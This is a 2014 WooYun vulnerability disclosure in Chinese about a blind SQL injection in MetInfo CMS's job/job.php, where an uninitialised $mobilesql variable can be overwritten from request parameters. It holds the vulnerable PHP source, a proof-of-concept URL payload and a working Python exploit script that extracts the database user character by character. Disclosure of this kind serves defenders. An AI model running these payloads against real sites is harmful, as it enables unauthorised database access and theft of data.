当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074909

漏洞标题:Metinfo SQL注入漏洞

相关厂商:MetInfo

漏洞作者: magerx

提交时间:2014-09-03 17:31

修复时间:2014-12-02 17:32

公开时间:2014-12-02 17:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-03: 细节已通知厂商并且等待厂商处理中
2014-09-08: 厂商已经确认,细节仅向厂商公开
2014-09-11: 细节向第三方安全合作伙伴开放
2014-11-02: 细节向核心白帽子及相关领域专家公开
2014-11-12: 细节向普通白帽子公开
2014-11-22: 细节向实习白帽子公开
2014-12-02: 细节向公众公开

简要描述:

sql injection :: wooyun通用型又更坚挺了 继续支持下

详细说明:

job/job.php

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
require_once '../include/common.inc.php';
$classaccess= $db->get_one("SELECT * FROM $met_column WHERE module='6' and lang='$lang'");
$metaccess=$classaccess[access];
$class1=$classaccess[id];
require_once '../include/head.php';
$guanlian=$class_list[$class1][releclass];
$class1_info=$class_list[$class1][releclass]?$class_list[$class_list[$class1][releclass]]:$class_list[$class1];
$class2_info=$class_list[$class1][releclass]?$class_list[$class1]:$class_list[$class2];
if(!class1_info){
okinfo('../',$lang_error);
}
$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";
if($met_member_use==2)$serch_sql .= " and access<=$metinfo_member_type";
$order_sql="order by no_order desc,addtime desc";
$total_count = $db->counter($met_job, "$serch_sql", "*");
$totaltop_count = $db->counter($met_job, "$serch_sql and top_ok='1'", "*");


重点看下这一句:

$serch_sql=" where lang='$lang' {$mobilesql} and displaytype='1' and ((TO_DAYS(NOW())-TO_DAYS(`addtime`)< useful_life) OR useful_life=0) ";


找了半天没有看到$mobilesql的声明,根本没有初始值,后来发现原来metinfo会有类似全局变量注册的机制,导致这里可以通过get/post等覆盖$mobilesql
由于这里是直接拼接起来的所以可以不用考虑gpc开关,直接是一个逻辑盲注,当然要考虑很多关键字过滤。

漏洞证明:

poc:

http://localhost/metinfo/job/job.php?mobilesql=and%20ord(mid(user(),1,1))=114


这样会返回正确页面
刚好有时间就随手写了个利用,偷懒就写得比较简单
exp:

import urllib2
import re
def inject(payload):
url = 'http://localhost/metinfo/job/job.php?mobilesql='
print url+payload
req = urllib2.Request(url+payload)
response = urllib2.urlopen(req)
content = response.read()
return content
wordlist = '@abcdefghijklmnopqrst'
def user():
result = ""
for i in range(1,15):
for num in range(len(wordlist)):
keyword = ord(wordlist[num])
content = inject("and%20ord(mid(user(),{0},1))={1}".format(i,keyword))
match = re.search('list top',content)
if match:
print str(i)+'===========>'+chr(keyword)
result = result+chr(keyword)
break
print 'current_user:===========>'+result
user()


结果如图:

metinfo.jpg

修复方案:

0.0

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-08 09:35

厂商回复:

最新状态:

暂无